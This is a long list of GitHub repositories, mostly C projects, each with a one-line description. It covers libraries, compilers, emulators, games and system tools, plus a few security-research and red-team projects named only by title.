[kroitor/gjk.c](https://github.com/kroitor/gjk.c) - Gilbert-Johnson-Keerthi (GJK) collision detection algorithm in 200 lines of clean plain C * [mptre/pick](https://github.com/mptre/pick) - A fuzzy search tool for the command-line * [JuliaPoo/Artfuscator](https://github.com/JuliaPoo/Artfuscator) - A C compiler targeting an artistically pleasing nightmare for reverse engineers * [dariomanesku/cmft](https://github.com/dariomanesku/cmft) - Cross-platform open-source command-line cubemap filtering tool. * [dovecot/core](https://github.com/dovecot/core) - Dovecot mail server * [qrush/unix](https://github.com/qrush/unix) - Mirror of the Restoration of 1st Edition UNIX kernel sources from pdf document. * [mongodb/mongo-c-driver](https://github.com/mongodb/mongo-c-driver) - The Official MongoDB driver for C language * [LeechanX/Data-Structures-and-Algorithms-in-C](https://github.com/LeechanX/Data-Structures-and-Algorithms-in-C) - 所有基础数据结构和算法的纯C语言实现，如各自排序、链表、栈、队列、各种树以及应用、图算法、字符串匹配算法、回溯、并查集等，献丑了 * [hairrrrr/C-CrashCourse](https://github.com/hairrrrr/C-CrashCourse) - C语言教程+博客+代码演示+课程设计。 帮助初学者更好的理解 C 难点，提升代码量！ For beginners:C tuition/self-learning * [yaml/libyaml](https://github.com/yaml/libyaml) - Canonical source repository for LibYAML * [everettjf/AppleTrace](https://github.com/everettjf/AppleTrace) - 🍎Objective C Method Tracing Call Chart * [libass/libass](https://github.com/libass/libass) - libass is a portable subtitle renderer for the ASS/SSA (Advanced Substation Alpha/Substation Alpha) subtitle format. * [awslabs/amazon-kinesis-video-streams-webrtc-sdk-c](https://github.com/awslabs/amazon-kinesis-video-streams-webrtc-sdk-c) - Amazon Kinesis Video Streams Webrtc SDK is for developers to install and customize realtime communication between devices and enable secure streaming of video, audio to Kinesis Video Streams. * [septag/rizz](https://github.com/septag/rizz) - Small C game development framework * [taisei-project/taisei](https://github.com/taisei-project/taisei) - A free and open-source Touhou Project fangame * [svenstaro/rofi-calc](https://github.com/svenstaro/rofi-calc) - 🖩 Do live calculations in rofi! * [ianlancetaylor/libbacktrace](https://github.com/ianlancetaylor/libbacktrace) - A C library that may be linked into a C/C++ program to produce symbolic backtraces * [vitoplantamura/BugChecker](https://github.com/vitoplantamura/BugChecker) - SoftICE-like kernel debugger for Windows 11 * [randrew/layout](https://github.com/randrew/layout) - Single-file library for calculating 2D UI layouts using stacking boxes. Compiles as C99 or C++. * [apache/mynewt-core](https://github.com/apache/mynewt-core) - An OS to build, deploy and securely manage billions of devices * [aperezdc/ngx-fancyindex](https://github.com/aperezdc/ngx-fancyindex) - Fancy indexes module for the Nginx web server * [z88dk/z88dk](https://github.com/z88dk/z88dk) - The development kit for over a hundred z80 family machines - c compiler, assembler, linker, libraries. * [nlsandler/write_a_c_compiler](https://github.com/nlsandler/write_a_c_compiler) - Test suite to help you write your own C compiler * [hfiref0x/UPGDSED](https://github.com/hfiref0x/UPGDSED) - Universal PatchGuard and Driver Signature Enforcement Disable * [stawel/cheali-charger](https://github.com/stawel/cheali-charger) - cheap lipo charger * [wangyi-fudan/wyhash](https://github.com/wangyi-fudan/wyhash) - The FASTEST QUALITY hash function, random number generators (PRNG) and hash map. * [royhills/arp-scan](https://github.com/royhills/arp-scan) - The ARP Scanner * [riolet/rix](https://github.com/riolet/rix) - Rix language combines the power of C language and the convenience of a high level language * [rswier/swieros](https://github.com/rswier/swieros) - A tiny hand crafted CPU emulator, C compiler, and Operating System * [jwasham/practice-c](https://github.com/jwasham/practice-c) - Part of my daily plan for studying C. * [alessandrofrancesconi/gimp-plugin-bimp](https://github.com/alessandrofrancesconi/gimp-plugin-bimp) - BIMP. Batch Image Manipulation Plugin for GIMP. * [justinmeza/lci](https://github.com/justinmeza/lci) - A LOLCODE interpreter written in C. * [groonga/groonga](https://github.com/groonga/groonga) - An embeddable fulltext search engine. Groonga is the successor project to Senna. * [xorg62/tty-clock](https://github.com/xorg62/tty-clock) - Clock using lib ncurses * [NMSSH/NMSSH](https://github.com/NMSSH/NMSSH) - NMSSH is an Objective-C wrapper for libssh2, with a sweet API. * [balde/balde](https://github.com/balde/balde) - A microframework for C based on GLib. * [Eugnis/spectre-attack](https://github.com/Eugnis/spectre-attack) - Example of using revealed "Spectre" exploit (CVE-2017-5753 and CVE-2017-5715) * [n64dev/cen64](https://github.com/n64dev/cen64) - Cycle-Accurate Nintendo 64 Emulator * [cxong/cdogs-sdl](https://github.com/cxong/cdogs-sdl) - Classic overhead run-and-gun game * [cxong/tinydir](https://github.com/cxong/tinydir) - Lightweight, portable and easy to integrate C directory and file reader * [yourtion/LearningMasteringAlgorithms-C](https://github.com/yourtion/LearningMasteringAlgorithms-C) - Mastering Algorithms with C 《算法精解：C语言描述》源码及Xcode工程、Linux工程 * [nurupo/vlc-pause-click-plugin](https://github.com/nurupo/vlc-pause-click-plugin) - Plugin for VLC that pauses/plays video on mouse click * [JayDDee/cpuminer-opt](https://github.com/JayDDee/cpuminer-opt) - Optimized multi algo CPU miner * [zfl9/chinadns-ng](https://github.com/zfl9/chinadns-ng) - chinadns next generation, refactoring with epoll and ipset * [rswinkle/PortableGL](https://github.com/rswinkle/PortableGL) - An implementation of OpenGL 3.x-ish in clean C * [jnz/q3vm](https://github.com/jnz/q3vm) - Q3VM - Single file (vm.c) bytecode virtual machine/interpreter for C-language input * [cage-kiosk/cage](https://github.com/cage-kiosk/cage) - A Wayland kiosk * [ccxvii/mujs](https://github.com/ccxvii/mujs) - An embeddable Javascript interpreter in C. * [galkahana/PDF-Writer](https://github.com/galkahana/PDF-Writer) - High performance library for creating, modiyfing and parsing PDF files in C++ * [mikeryan/crackle](https://github.com/mikeryan/crackle) - Crack and decrypt BLE encryption * [troglobit/inadyn](https://github.com/troglobit/inadyn) - Dynamic DNS client with SSL/TLS support * [GenericMappingTools/gmt](https://github.com/GenericMappingTools/gmt) - The Generic Mapping Tools * [LinusDierheimer/fastfetch](https://github.com/LinusDierheimer/fastfetch) - Like neofetch, but much faster because written in C. * [felixangell/mac](https://github.com/felixangell/mac) - bytecode interpreter in c (blog post) * [Crypto-toolbox/HFT-Orderbook](https://github.com/Crypto-toolbox/HFT-Orderbook) - Limit Order Book for high-frequency trading (HFT), as described by WK Selph, implemented in Python3 and C * [oleganza/CoreBitcoin](https://github.com/oleganza/CoreBitcoin) - Awesome Bitcoin toolkit for ObjC and Swift * [obgm/libcoap](https://github.com/obgm/libcoap) - A CoAP (RFC 7252) implementation in C * [michaelforney/samurai](https://github.com/michaelforney/samurai) - ninja-compatible build tool written in C * [riolet/WAFer](https://github.com/riolet/WAFer) - WAFer is a C language-based software platform for scalable server-side and networking applications. Think node.js for C programmers. * [Zeex/subhook](https://github.com/Zeex/subhook) - Simple hooking library for C/C++ (x86 only, 32/64-bit, no dependencies) * [audiohacked/OpenCorsairLink](https://github.com/audiohacked/OpenCorsairLink) - Linux and Mac OS support for the CorsairLink Devices * [analogdevicesinc/no-OS](https://github.com/analogdevicesinc/no-OS) - Software drivers in C for systems without an operating system * [scandum/blitsort](https://github.com/scandum/blitsort) - Blitsort is an in-place stable adaptive rotate mergesort / quicksort. * [adsr/mle](https://github.com/adsr/mle) - flexible terminal-based text editor (C) * [tarcieri/cool.io](https://github.com/tarcieri/cool.io) - Simple evented I/O for Ruby (but please check out Celluloid::IO instead) * [pret/pokefirered](https://github.com/pret/pokefirered) - Decompilation of Pokémon FireRed/LeafGreen * [loadzero/si78c](https://github.com/loadzero/si78c) - si78c is a memory accurate reimplementation of Space Invaders in C. * [AlexFanw/HUSTER-CS](https://github.com/AlexFanw/HUSTER-CS) - 华中科技大学 计算机科学与技术学院 学习资料💯 以及 实验资料💾 * [ocornut/imgui_club](https://github.com/ocornut/imgui_club) - Nice things to use along dear imgui * [armon/libart](https://github.com/armon/libart) - Adaptive Radix Trees implemented in C * [lexborisov/Modest](https://github.com/lexborisov/Modest) - Modest is a fast HTML renderer implemented as a pure C99 library with no outside dependencies. * [TulipCharts/tulipindicators](https://github.com/TulipCharts/tulipindicators) - Technical Analysis Indicator Function Library in C * [wmutils/core](https://github.com/wmutils/core) - Set of window manipulation tools * [SilverRainZ/OS67](https://github.com/SilverRainZ/OS67) - An unix-like toy kernel * [nxrighthere/ENet-CSharp](https://github.com/nxrighthere/ENet-CSharp) - Reliable UDP networking library * [QuantumLeaps/qpc](https://github.com/QuantumLeaps/qpc) - QP/C real-time embedded framework/RTOS for embedded systems based on active objects (actors) and hierarchical state machines * [samtools/htslib](https://github.com/samtools/htslib) - C library for high-throughput sequencing data formats * [nil0x42/duplicut](https://github.com/nil0x42/duplicut) - Remove duplicates from MASSIVE wordlist, without sorting it (for dictionary-based password cracking) * [lexbor/lexbor](https://github.com/lexbor/lexbor) - Lexbor is development of an open source HTML Renderer library. http://lexbor.com * [henrypp/chrlauncher](https://github.com/henrypp/chrlauncher) - Small and very fast portable launcher and updater for Chromium. * [csete/gpredict](https://github.com/csete/gpredict) - Gpredict satellite tracking application * [lemire/Code-used-on-Daniel-Lemire-s-blog](https://github.com/lemire/Code-used-on-Daniel-Lemire-s-blog) - This is a repository for the code posted on my blog * [cbuchner1/CudaMiner](https://github.com/cbuchner1/CudaMiner) - a CUDA accelerated litecoin mining application based on pooler's CPU miner * [richgel999/fpng](https://github.com/richgel999/fpng) - Super fast C++ .PNG writer/reader * [moonlight-stream/moonlight-chrome](https://github.com/moonlight-stream/moonlight-chrome) - GameStream client for ChromeOS * [gabriel/yajl-objc](https://github.com/gabriel/yajl-objc) - Objective-C bindings for YAJL (Yet Another JSON Library) C library * [winsiderss/systeminformer](https://github.com/winsiderss/systeminformer) - A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware. Brought to you by Winsider Seminars & Solutions, Inc. @ http://www.windows-internals.com * [groundcover-com/caretta](https://github.com/groundcover-com/caretta) - Instant K8s service dependency map, right to your Grafana. * [deanmao/node-chimera](https://github.com/deanmao/node-chimera) - A new kind of headless webkit integration for nodejs; a great alternative to phantomjs. * [cztomczak/cef2go](https://github.com/cztomczak/cef2go) - Go lang bindings for the Chromium Embedded Framework (CEF) * [zmartzone/mod_auth_openidc](https://github.com/zmartzone/mod_auth_openidc) - OpenID Certified™ OpenID Connect Relying Party implementation for Apache HTTP Server 2.x * [usrbinnc/netcat-cpi-kernel-module](https://github.com/usrbinnc/netcat-cpi-kernel-module) - Kernel module edition of the Cycles Per Instruction (2014) album. * [boku7/BokuLoader](https://github.com/boku7/BokuLoader) - Cobalt Strike User-Defined Reflective Loader written in Assembly & C for advanced evasion capabilities. By: @0xBoku & @s4ntiago_p * [alibaba/nginx-http-concat](https://github.com/alibaba/nginx-http-concat) - A Nginx module for concatenating files in a given context: CSS and JS files usually * [jgarzik/cpuminer](https://github.com/jgarzik/cpuminer) - CPU miner for bitcoin * [septag/sx](https://github.com/septag/sx) - Portable base library for C programmers, designed for performance and simplicity. * [zyearn/zaver](https://github.com/zyearn/zaver) - Yet another fast and efficient HTTP server * [pfultz2/Cloak](https://github.com/pfultz2/Cloak) - A mini-preprocessor library to demostrate the recursive capabilites of the preprocessor * [jimon/osx_app_in_plain_c](https://github.com/jimon/osx_app_in_plain_c) - A simple showcase how to create a simple OS X app in plain C without any Objective-C * [wlanjie/trinity](https://github.com/wlanjie/trinity) - android video record editor muxer sdk * [laruence/yac](https://github.com/laruence/yac) - A fast, lock-free, shared memory user data cache for PHP * [yulingtianxia/BlockHook](https://github.com/yulingtianxia/BlockHook) - Hook Objective-C blocks. A powerful AOP tool. * [wolkykim/qlibc](https://github.com/wolkykim/qlibc) - qLibc is a simple and yet powerful C library providing generic data structures and algorithms * [simondlevy/TinyEKF](https://github.com/simondlevy/TinyEKF) - Lightweight C/C++ Extended Kalman Filter with Python for prototyping * [CCareaga/heap_allocator](https://github.com/CCareaga/heap_allocator) - A simple heap memory allocator in ~200 lines. * [FreeApophis/TrueCrypt](https://github.com/FreeApophis/TrueCrypt) - This repository applies all Versions of the Original TrueCrypt Source Files in order * [sheredom/subprocess.h](https://github.com/sheredom/subprocess.h) - 🐜 single header process launching solution for C and C++ * [pganalyze/libpg_query](https://github.com/pganalyze/libpg_query) - C library for accessing the PostgreSQL parser outside of the server environment * [scrt/avcleaner](https://github.com/scrt/avcleaner) - C/C++ source obfuscator for antivirus bypass * [RJ/ketama](https://github.com/RJ/ketama) - C library for consistent hashing, and langauge bindings * [jgmenu/jgmenu](https://github.com/jgmenu/jgmenu) - An X11 menu * [canonical/raft](https://github.com/canonical/raft) - C implementation of the Raft consensus protocol * [ridiculousfish/cdecl-blocks](https://github.com/ridiculousfish/cdecl-blocks) - The venerable cdecl, with Apple blocks support * [lfos/calcurse](https://github.com/lfos/calcurse) - A text-based calendar and scheduling application * [openucx/ucx](https://github.com/openucx/ucx) - Unified Communication X (mailing list - https://elist.ornl.gov/mailman/listinfo/ucx-group) * [trustedsec/CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF) - Situational Awareness commands implemented using Beacon Object Files * [WebAssembly/wasi-sdk](https://github.com/WebAssembly/wasi-sdk) - WASI-enabled WebAssembly C/C++ toolchain * [justjake/quickjs-emscripten](https://github.com/justjake/quickjs-emscripten) - Javascript/Typescript bindings for QuickJS, a modern Javascript interpreter written in C by Fabrice Bellard. * [colmap/colmap](https://github.com/colmap/colmap) - COLMAP - Structure-from-Motion and Multi-View Stereo * [Gigoteur/UnicornConsole](https://github.com/Gigoteur/UnicornConsole) - Unicorn Console: create quick fantasy game in Rust/Python/Lua/Javascript ! * [jgm/peg-markdown](https://github.com/jgm/peg-markdown) - An implementation of markdown in C, using a PEG grammar * [Hjdskes/cage](https://github.com/Hjdskes/cage) - A Wayland kiosk * [ScottyBauer/Android_Kernel_CVE_POCs](https://github.com/ScottyBauer/Android_Kernel_CVE_POCs) - A list of my CVE's with POCs * [allinurl/gwsocket](https://github.com/allinurl/gwsocket) - fast, standalone, language-agnostic WebSocket server RFC6455 compliant * [libtrading/libtrading](https://github.com/libtrading/libtrading) - Libtrading, an ultra low-latency trading connectivity library for C and C++. * [timwhitez/Cobalt-Strike-Aggressor-Scripts](https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts) - Cobalt Strike Aggressor 插件包 * [munificent/mark-sweep](https://github.com/munificent/mark-sweep) - A simple mark-sweep garbage collector in C * [lockedbyte/CVE-Exploits](https://github.com/lockedbyte/CVE-Exploits) - PoC exploits for software vulnerabilities * [ged/ruby-pg](https://github.com/ged/ruby-pg) - A PostgreSQL client library for Ruby * [solusipse/ureq](https://github.com/solusipse/ureq) - Micro C library for handling HTTP requests on low resource systems. * [CipherShed/CipherShed](https://github.com/CipherShed/CipherShed) - Main CipherShed Development * [edenhill/librdkafka](https://github.com/edenhill/librdkafka) - The Apache Kafka C/C++ library * [belangeo/pyo](https://github.com/belangeo/pyo) - Python DSP module * [xmake-io/xmake](https://github.com/xmake-io/xmake) - 🔥 A cross-platform build utility based on Lua * [fcambus/telize](https://github.com/fcambus/telize) - High performance JSON IP and GeoIP REST API (IP Geolocation) * [HandmadeMath/Handmade-Math](https://github.com/HandmadeMath/Handmade-Math) - A simple math library for games and computer graphics. Compatible with both C and C++. * [CongducPham/LowCostLoRaGw](https://github.com/CongducPham/LowCostLoRaGw) - Low-cost LoRa IoT & gateway with SX12XX (SX1261/62/68; SX1272/76/77/78/79; SX1280/81), RaspberryPI and Arduino boards * [xroche/coffeecatch](https://github.com/xroche/coffeecatch) - CoffeeCatch, a tiny native POSIX signal catcher (especially useful for JNI code on Android/Dalvik) * [kovidgoyal/html5-parser](https://github.com/kovidgoyal/html5-parser) - Fast C based HTML 5 parsing for python * [swoole/php-cp](https://github.com/swoole/php-cp) - pdo and redis tcp connect proxy * [powturbo/TurboPFor-Integer-Compression](https://github.com/powturbo/TurboPFor-Integer-Compression) - Fastest Integer Compression * [HarveyHunt/howm](https://github.com/HarveyHunt/howm) - A lightweight, X11 tiling window manager that behaves like vim * [jergusg/k380-function-keys-conf](https://github.com/jergusg/k380-function-keys-conf) - Make function keys default on Logitech k380 bluetooth keyboard * [openglsuperbible/sb7code](https://github.com/openglsuperbible/sb7code) - Source code and supporting material for the 7th Edition of OpenGL SuperBible * [Exim/exim](https://github.com/Exim/exim) - Exim Mail Transport Agent - source, testsuite and documentation * [tpoechtrager/cctools-port](https://github.com/tpoechtrager/cctools-port) - Apple cctools port for Linux and *BSD * [cesanta/frozen](https://github.com/cesanta/frozen) - JSON parser and generator for C/C++ with scanf/printf like interface. Targeting embedded systems. * [Yubico/yubico-pam](https://github.com/Yubico/yubico-pam) - Yubico Pluggable Authentication Module (PAM) * [diegocr/netcat](https://github.com/diegocr/netcat) - NetCat for Windows * [libimobiledevice/ifuse](https://github.com/libimobiledevice/ifuse) - A fuse filesystem to access the contents of iOS devices * [wengkai/ACLLib](https://github.com/wengkai/ACLLib) - ACLLib is a bunch of C functions covers Win32API and provides simpler API to beginners for programming Windows GUI applications. It compiles with MinGW and MS Visual Studio Express * [MoarVM/MoarVM](https://github.com/MoarVM/MoarVM) - A VM with adaptive optimization and JIT compilation, built for Rakudo * [Keruspe/GPaste](https://github.com/Keruspe/GPaste) - Clipboard management system * [pysam-developers/pysam](https://github.com/pysam-developers/pysam) - Pysam is a Python module for reading and manipulating SAM/BAM/VCF/BCF files. It's a lightweight wrapper of the htslib C-API, the same one that powers samtools, bcftools, and tabix. * [attractivechaos/kann](https://github.com/attractivechaos/kann) - A lightweight C library for artificial neural networks * [felselva/mathc](https://github.com/felselva/mathc) - Pure C math library for 2D and 3D programming * [UnknownShadow200/ClassiCube](https://github.com/UnknownShadow200/ClassiCube) - Custom Minecraft Classic 0.30 / ClassiCube client written in C from scratch (formerly ClassicalSharp in C#) * [pret/pokeruby](https://github.com/pret/pokeruby) - Decompilation of Pokémon Ruby/Sapphire * [OpenGLInsights/OpenGLInsightsCode](https://github.com/OpenGLInsights/OpenGLInsightsCode) - Source code for OpenGL Insights * [cos120/captcha_crack](https://github.com/cos120/captcha_crack) - 选字验证码破解，试验过网易和极验，破解率99 * [i-rinat/apulse](https://github.com/i-rinat/apulse) - PulseAudio emulation for ALSA * [gcesarmza/curl-android-ios](https://github.com/gcesarmza/curl-android-ios) - Static libcurl to be used in Android and iOS apps. Build scripts included. No Android source required * [y123456yz/Reading-and-comprehense-redis-cluster](https://github.com/y123456yz/Reading-and-comprehense-redis-cluster) - 分布式NOSQL redis源码阅读中文分析注释，带详尽注释以及相关流程调用注释，提出改造点，redis cluster集群功能、节点扩容、槽位迁移、failover故障切换、一致性选举完整分析，对理解redis源码很有帮助，解决了source insight中文注释乱码问题,更新完毕 * [skarnet/s6](https://github.com/skarnet/s6) - The s6 supervision suite. * [tcbrindle/raytracer.hpp](https://github.com/tcbrindle/raytracer.hpp) - Simple compile-time raytracer using C++17 * [lucasjones/cpuminer-multi](https://github.com/lucasjones/cpuminer-multi) - Multi-algo CPUMiner & Reference Cryptonote Miner (JSON-RPC 2.0) * [rwos/gti](https://github.com/rwos/gti) - a git launcher :-) * [tatsuhiro-t/spdylay](https://github.com/tatsuhiro-t/spdylay) - The experimental SPDY protocol version 2, 3 and 3.1 implementation in C * [AravisProject/aravis](https://github.com/AravisProject/aravis) - A vision library for genicam based cameras * [lpereira/hardinfo](https://github.com/lpereira/hardinfo) - System profiler and benchmark tool for Linux systems * [vkoskiv/c-ray](https://github.com/vkoskiv/c-ray) - c-ray is a small, simple path tracer written in C * [phoboslab/pl_mpeg](https://github.com/phoboslab/pl_mpeg) - Single file C library for decoding MPEG1 Video and MP2 Audio * [pbatard/uefi-ntfs](https://github.com/pbatard/uefi-ntfs) - UEFI:NTFS - Boot NTFS or exFAT partitions from UEFI * [laruence/taint](https://github.com/laruence/taint) - Taint is a PHP extension, used for detecting XSS codes * [cnlohr/colorchord](https://github.com/cnlohr/colorchord) - Chromatic Sound to Light Conversion System * [ant-media/LibRtmp-Client-for-Android](https://github.com/ant-media/LibRtmp-Client-for-Android) - It is probably the smallest(~60KB, fat version ~300KB) rtmp client for android. It calls librtmp functions over JNI interface * [nih-at/libzip](https://github.com/nih-at/libzip) - A C library for reading, creating, and modifying zip archives. * [weston-embedded/uC-OS3](https://github.com/weston-embedded/uC-OS3) - µC/OS-III is a preemptive, highly portable, and scalable real-time kernel. Designed for ease of use on a huge number of CPU architectures. * [overmighty/i-use-arch-btw](https://github.com/overmighty/i-use-arch-btw) - "I use Arch btw" but it's a Turing-complete programming language. * [MichaelJWelsh/cdsa](https://github.com/MichaelJWelsh/cdsa) - A library of generic intrusive data structures and algorithms in ANSI C * [crash-utility/crash](https://github.com/crash-utility/crash) - Linux kernel crash utility * [ASDAlexander77/TypeScript2Cxx](https://github.com/ASDAlexander77/TypeScript2Cxx) - TypeScript to C++ * [Robert-van-Engelen/tinylisp](https://github.com/Robert-van-Engelen/tinylisp) - Lisp in 99 lines of C and how to write one yourself. Includes 20 Lisp primitives, garbage collection and REPL. Includes tail-call optimized versions for speed and reduced memory use. * [ANSSI-FR/AD-control-paths](https://github.com/ANSSI-FR/AD-control-paths) - Active Directory Control Paths auditing and graphing tools * [Hirrolot/metalang99](https://github.com/Hirrolot/metalang99) - Full-blown preprocessor metaprogramming * [michaelforney/cproc](https://github.com/michaelforney/cproc) - C11 compiler (mirror) * [k-takata/Onigmo](https://github.com/k-takata/Onigmo) - Onigmo is a regular expressions library forked from Oniguruma. * [eembc/coremark](https://github.com/eembc/coremark) - CoreMark® is an industry-standard benchmark that measures the performance of central processing units (CPU) and embedded microcrontrollers (MCU). * [dinhvh/libetpan](https://github.com/dinhvh/libetpan) - Mail Framework for C Language * [OpenPrinting/cups](https://github.com/OpenPrinting/cups) - OpenPrinting CUPS Sources * [silentbicycle/theft](https://github.com/silentbicycle/theft) - property-based testing for C: generate input to find obscure bugs, then reduce to minimal failing input * [McGill-DMaS/Kam1n0-Community](https://github.com/McGill-DMaS/Kam1n0-Community) - The Kam1n0 Assembly Analysis Platform * [CristianHenzel/ClipIt](https://github.com/CristianHenzel/ClipIt) - ClipIt clipboard manager for GTK+ * [mytechnotalent/Reverse-Engineering](https://github.com/mytechnotalent/Reverse-Engineering) - A FREE comprehensive reverse engineering tutorial covering x86, x64, 32-bit ARM & 64-bit ARM architectures. * [cucumber/common](https://github.com/cucumber/common) - A monorepo of common components - building blocks for implementing Cucumber in various languages. * [TASEmulators/BizHawk](https://github.com/TASEmulators/BizHawk) - BizHawk is a multi-system emulator written in C#. BizHawk provides nice features for casual gamers such as full screen, and joypad support in addition to full rerecording and debugging tools for all system cores. * [X0rg/CPU-X](https://github.com/X0rg/CPU-X) - CPU-X is a Free software that gathers information on CPU, motherboard and more * [ideawu/c1000k](https://github.com/ideawu/c1000k) - A tool to test if your OS supports 1 million connections(c1000k/c1m) * [vozlt/nginx-module-sysguard](https://github.com/vozlt/nginx-module-sysguard) - Nginx sysguard module * [igrr/esp32-cam-demo](https://github.com/igrr/esp32-cam-demo) - Demo for working with a camera on ESP32 * [sepfy/pear](https://github.com/sepfy/pear) - WebRTC Library for IoT/Embedded Device using C * [lpsantil/rt0](https://github.com/lpsantil/rt0) - A minimal C runtime for Linux i386 & x86_64 * [dyu/ffi-overhead](https://github.com/dyu/ffi-overhead) - comparing the c ffi (foreign function interface) overhead on various programming languages * [naev/naev](https://github.com/naev/naev) - Naev is a 2d action/rpg space game that combines elements from the action, rpg and simulation genres. * [microsoft/SymCrypt](https://github.com/microsoft/SymCrypt) - Cryptographic library * [LingDong-/wax](https://github.com/LingDong-/wax) - A tiny programming language that transpiles to C, C++, Java, TypeScript, Python, C#, Swift, Lua and WebAssembly 🚀 * [fabiensanglard/chocolate_duke3D](https://github.com/fabiensanglard/chocolate_duke3D) - chocolate Duke Nukem,3D * [angt/glorytun](https://github.com/angt/glorytun) - Multipath UDP tunnel * [ChibiOS/ChibiOS](https://github.com/ChibiOS/ChibiOS) - Read only mirror of SVN ChibiOS repository at https://osdn.net/projects/chibios/scm/svn/ * [kosma/minmea](https://github.com/kosma/minmea) - a lightweight GPS NMEA 0183 parser library in pure C * [spotify/NFHTTP](https://github.com/spotify/NFHTTP) - A cross platform C++ HTTP library that interfaces natively to other platforms. * [naasking/async.h](https://github.com/naasking/async.h) - Stackless Async Subroutines for C * [liudf0716/apfree_wifidog](https://github.com/liudf0716/apfree_wifidog) - A hight performance and lightweight captive portal solution for HTTP(s) * [HoShiMin/HookLib](https://github.com/HoShiMin/HookLib) - The functions interception library written on pure C and NativeAPI with UserMode and KernelMode support * [bitlbee/bitlbee](https://github.com/bitlbee/bitlbee) - An IRC to other chat networks gateway :bee: * [linyiqun/Redis-Code](https://github.com/linyiqun/Redis-Code) - redis键值数据库源码分析 * [ionescu007/SpecuCheck](https://github.com/ionescu007/SpecuCheck) - SpecuCheck is a Windows utility for checking the state of the software mitigations and hardware against CVE-2017-5754 (Meltdown), CVE-2017-5715 (Spectre v2), CVE-2018-3260 (Foreshadow), and CVE-2018-3639 (Spectre v4) * [armink/struct2json](https://github.com/armink/struct2json) - A fast convert library between the JSON and C structure. Implement structure serialization and deserialization for C. | C 结构体与 JSON 快速互转库，快速实现 C 结构体的序列化及反序列化 * [cirosantilli/cpp-cheat](https://github.com/cirosantilli/cpp-cheat) - MOVING TO: https://github.com/cirosantilli/linux-kernel-module-cheat#userland-content SEE README. C, C++, POSIX and Linux system programming minimal examples. Asserts used wherever possible. Hello worlds for cool third party libraries and build systems. Cheatsheets, tutorials and mini-projects. 移至：https://github.com/cirosantilli/linux-kernel-module-cheat#userland-content查看自述文件。 C，C ++，POSIX和Linux系统编程的最少示例。 尽可能使用断言。 酷第三方库和构建系统的世界。 备忘单，教程和小型项目。 * [MarilynDafa/Bulllord-Engine](https://github.com/MarilynDafa/Bulllord-Engine) - lightspeed lightweight elegant game engine in pure c * [esnme/ultramysql](https://github.com/esnme/ultramysql) - A fast MySQL driver written in pure C/C++ for Python. Compatible with gevent through monkey patching. * [triaquae/CrazyEye](https://github.com/triaquae/CrazyEye) - OpenSource IT Automation Software * [Unity-Technologies/NativeRenderingPlugin](https://github.com/Unity-Technologies/NativeRenderingPlugin) - C++ Rendering Plugin example for Unity * [intel/intel-cmt-cat](https://github.com/intel/intel-cmt-cat) - User space software for Intel(R) Resource Director Technology * [wangbojing/NtyCo](https://github.com/wangbojing/NtyCo) - 纯c版本的协程实现，汇编切换，调度器实现，包含服务器端案例，客户端并发测试案例 * [suvllian/process-inject](https://github.com/suvllian/process-inject) - 在Windows环境下的进程注入方法：远程线程注入、创建进程挂起注入、反射注入、APCInject、SetWindowHookEX注入 * [ngtcp2/nghttp3](https://github.com/ngtcp2/nghttp3) - HTTP/3 library written in C * [ClimbSnail/HoloCubic_AIO](https://github.com/ClimbSnail/HoloCubic_AIO) - HoloCubic超多功能AIO固件 基于esp32-arduino的天气时钟、相册、视频播放、桌面投屏、web服务、bilibili粉丝等 * [LiamBindle/MQTT-C](https://github.com/LiamBindle/MQTT-C) - A portable MQTT C client for embedded systems and PCs alike. * [cbsd/cbsd](https://github.com/cbsd/cbsd) - Yet one more wrapper around jail, bhyve and XEN on FreeBSD platform. * [tatsuhiro-t/wslay](https://github.com/tatsuhiro-t/wslay) - The WebSocket library in C * [eclipse-embed-cdt/eclipse-plugins](https://github.com/eclipse-embed-cdt/eclipse-plugins) - The Eclipse Embedded CDT plug-ins for Arm & RISC-V C/C++ developers (formerly known as the GNU MCU Eclipse plug-ins). Includes the archive of previous plug-ins versions, as Releases. * [100/Cranium](https://github.com/100/Cranium) - 🤖 A portable, header-only, artificial neural network library written in C99 * [ccpalettes/the-c-programming-language-second-edition-solutions](https://github.com/ccpalettes/the-c-programming-language-second-edition-solutions) - Solutions for all exercises in the book "The C Programming Language - Second Edition"(referred to as K&R, after its authors' initials) by Brian W. Kernighan and Dennis M. Ritchie. * [TrueBlocks/trueblocks-core](https://github.com/TrueBlocks/trueblocks-core) - The main repository for the TrueBlocks system * [wren-lang/wren](https://github.com/wren-lang/wren) - The Wren Programming Language. Wren is a small, fast, class-based concurrent scripting language. * [johanmalm/jgmenu](https://github.com/johanmalm/jgmenu) - An X11 menu * [processhacker/processhacker](https://github.com/processhacker/processhacker) - A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware. * [linuxmint/cinnamon](https://github.com/linuxmint/cinnamon) - A Linux desktop featuring a traditional layout, built from modern technology and introducing brand new innovative features. * [mszoek/airyx](https://github.com/mszoek/airyx) - A BSD-based OS project that aims to provide an experience like and some compatibility with macOS * [ElementsProject/lightning](https://github.com/ElementsProject/lightning) - c-lightning — a Lightning Network implementation in C * [cksystemsteaching/selfie](https://github.com/cksystemsteaching/selfie) - An educational software system of a tiny self-compiling C compiler, a tiny self-executing RISC-V emulator, and a tiny self-hosting RISC-V hypervisor. * [vxunderground/VX-API](https://github.com/vxunderground/VX-API) - Collection of various WINAPI tricks / features used or abused by Malware * [particle-iot/device-os](https://github.com/particle-iot/device-os) - Device OS (Firmware) for Particle Devices

